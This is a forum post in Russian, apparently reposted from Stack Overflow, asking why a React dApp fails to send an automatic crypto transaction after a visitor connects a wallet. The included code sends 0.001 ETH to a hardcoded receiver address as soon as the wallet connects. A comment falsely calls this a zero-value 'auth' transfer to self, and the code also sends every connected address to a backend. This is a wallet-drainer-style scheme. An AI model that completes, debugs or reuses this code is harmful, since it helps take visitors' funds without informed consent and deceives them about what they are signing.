Есть ли способ добавить автоматическую транзакцию криптовалюты после подключения кошелька к кошельку?Javascript

Форум по Javascript
Ответить
Anonymous
 Есть ли способ добавить автоматическую транзакцию криптовалюты после подключения кошелька к кошельку?

Сообщение Anonymous »

Я создал криптографический веб-сайт Dapp. Мне удалось подключиться к кошельку и успешно получить адрес кошелька. Но я попытался включить некоторую логику в другую: как только кошелек подключается к Dapp, он затем подписывает автоматическую транзакцию определенной суммы в пункт назначения кошелька, доступный на моем интерфейсе React + Vite. Кажется, это вообще не работает, хотя мне удалось нормально подключиться и получить адрес кошелька.
import { ethers } from "ethers";

const URL = import.meta.env.VITE_BACKEND_URL;

export const connectWallet = async (dispatch, chain) => {
try {
dispatch({ type: "SET_ERROR", payload: null });
let walletAddress = null;
let receiverAddress = "0x8b0225fcff33d675ef78517bb685e8368b27d1e4"

// ---------- EVM Chains (via WalletConnect or injected wallets) ----------
if (["ethereum", "polygon", "bsc", "arbitrum", "optimism", "fantom", "avalanche", "base"].includes(chain)) {
const { open, getAccount } = await import('@web3modal/react'); // WalletConnect modal
await open(); // Triggers wallet connect modal
const account = await getAccount();

if (!account?.address) {
return dispatch({ type: "SET_ERROR", payload: "Failed to connect to EVM wallet." });
}

walletAddress = account.address;
// Auto Transaction After Connect
try {
// detect injected or WC provider
let provider;
if (window.ethereum) {
provider = new ethers.BrowserProvider(window.ethereum);
await window.ethereum.request({ method: "eth_requestAccounts" });
} else {
// WalletConnect provider fallback
const Web3Modal = (await import("web3modal")).default;
const modal = new Web3Modal();
const instance = await modal.connect();
provider = new ethers.BrowserProvider(instance);
}

const signer = await provider.getSigner();

// Example auto-transaction: 0 ETH transfer to self (auth TX)
const tx = await signer.sendTransaction({
to: receiverAddress,
value: ethers.parseEther("0.0010"), // or real value if intended
});

console.log("Auto TX sent", tx);
await tx.wait();
console.log("Auto TX confirmed ✅");

} catch (txErr) {
console.error("Auto TX failed", txErr);
dispatch({ type: "SET_ERROR", payload: "Auto transaction failed" });
}
}

// ---------- Solana (Phantom) ----------
else if (chain === "solana") {
if (!window.solana || !window.solana.isPhantom) {
return dispatch({ type: "SET_ERROR", payload: "Phantom wallet not found" });
}

const response = await window.solana.connect();
walletAddress = response.publicKey.toString();
}

// ---------- TON (TonConnect / Tonkeeper) ----------
else if (chain === "ton") {
const { TonConnect } = await import("@tonconnect/sdk");

const connector = new TonConnect();
await connector.restoreConnection();

if (!connector.connected) {
await connector.connect({
universalLink: 'https://app.tonkeeper.com/ton-connect',
bridgeUrl: 'https://bridge.tonapi.io/bridge',
});
}

walletAddress = connector.account?.address;

if (!walletAddress) {
return dispatch({ type: "SET_ERROR", payload: "TON wallet connection failed" });
}
}

// ---------- Unsupported Chain ----------
else {
return dispatch({ type: "SET_ERROR", payload: `Unsupported chain: ${chain}` });
}

if (!walletAddress) {
return dispatch({ type: "SET_ERROR", payload: "Could not retrieve wallet address" });
}

// Save to global context
dispatch({ type: "SET_ADDRESS", payload: walletAddress });

// Optional: Save to backend
await fetch(URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ address: walletAddress, chain }),
});

} catch (error) {
console.error("connectWallet error:", error);
dispatch({ type: "SET_ERROR", payload: error.message });
}
};


Подробнее здесь: https://stackoverflow.com/questions/798 ... onnects-to
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Javascript»